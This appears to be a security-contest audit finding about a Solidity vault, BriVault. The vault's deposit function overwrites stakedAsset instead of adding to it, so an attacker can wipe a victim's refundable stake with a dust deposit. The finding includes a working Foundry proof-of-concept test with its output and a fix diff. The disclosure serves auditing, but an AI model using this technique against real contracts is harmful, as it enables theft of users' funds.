BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

User can overwriting another user stakes value

0xvrka

Root + Impact

Description

  • The deposit function should add to a user's stakedAsset balance, which is used by cancelParticipation to refund the correct amount.

  • However, the deposit function uses an assignment (=) instead of addition (+=) when updating stakedAsset. It also allows msg.sender to deposit for a different receiver. An attacker can call deposit with the victim's address as the receiver and a dust amount, overwriting the victim's entire stake and setting their refundable balance to near-zero.

function deposit(uint256 assets, address receiver) public override returns (uint256) {
// ...
uint256 stakeAsset = assets - fee;
// ...
@> stakedAsset[receiver] = stakeAsset; // should be +=
// ...
_mint(msg.sender, participantShares);
// ...
}
​
function cancelParticipation () public {
// ...
@> uint256 refundAmount = stakedAsset[msg.sender]; // Victim's refund is read from the overwritten value
stakedAsset[msg.sender] = 0;
// ...
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}

Risk

Likelihood:

  • A threat actor can intentionally exploit this. They can observe large stakes on-chain and send a minimal poison deposit to the victim's address, overwriting the victim's large stakedAsset balance with a near-zero amount.

  • The vulnerability is also triggered by an accidental, non-malicious user action. If User A wants to deposit for User B who already has a balance, User A's new deposit will overwrite User B's entire existing stake instead of adding to it, leading to an unexpected and catastrophic loss of funds for User B.

Impact:

  • When the victim calls cancelParticipation, they are only refunded the attacker's tiny dust amount. However, the function proceeds to burn the victim's entire share balance.

  • The victim's original, large stake is now orphaned and remains in the vault. These orphaned funds are no longer associated with the victim's burned shares. This massively increases the value of all remaining shares, which includes the shares the attacker minted from their poison deposit. The attacker can then redeem their shares to claim all the funds the victim lost.

Proof of Concept

This test demonstrates the attack in three steps.

  1. Victim Deposit user1 (the victim) deposits 5 ether. stakedAsset[user1] is set to ~5 ether.

  2. Attacker Overwrite user2 (the attacker) calls deposit with a minimal amount (0.000204 ether) but specifies user1 as the receiver. This overwrites stakedAsset[user1] to this new, tiny value.

  3. user1 calls cancelParticipation. The function reads the overwritten, near-zero stakedAsset balance and refunds only that amount. The victim's original 5 (minus fee) ether is now trapped in the contract.

function test_stakedAssetToZero() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
console.log("user 1 balance:", mockToken.balanceOf(user1));
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
vm.stopPrank();
// try overwrite user1 staked value
vm.startPrank(user2);
console.log("user 2 balance:", mockToken.balanceOf(user2));
mockToken.approve(address(briVault), 0.000204 ether);
briVault.deposit(0.000204 ether, user1);
vm.stopPrank();
// user1 staked value has been overwrited and fail to get deposited value when canceling participation
vm.startPrank(user1);
briVault.cancelParticipation();
uint256 bal = mockToken.balanceOf(user1);
console.log("user 2 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
}

Output Log:

[PASS] test_stakedAssetToZero() (gas: 1531334)
Logs:
user 1 balance: 20000000000000000000
user 2 balance: 20000000000000000000
user 2 balance (ETH): 15 . 200940000000000

Recommended Mitigation

This mitigation applies two fixes:

  1. stakedAsset[receiver] += stakeAsset.
    This is the primary security fix. It changes the assignment (=) to an addition (+=), preventing an attacker from overwriting a victim's balance. Deposits are now correctly accumulated.

  2. _mint(receiver, participantShares)
    This is a logical correction. It ensures that the receiver also receives the shares representing that stake, rather than the msg.sender'.

function deposit(uint256 assets, address receiver) public override returns (uint256) {
// ...
​
- stakedAsset[receiver] = stakeAsset;
+ stakedAsset[receiver] += stakeAsset;
​
// ...
​
- _mint(msg.sender, participantShares);
+ _mint(receiver, participantShares);
​
// ...
}
​
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

`stakedAsset` Overwritten on Multiple Deposits

Vault tracks only a single deposit slot per user and overwrites it on every call instead of accumulating the total.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!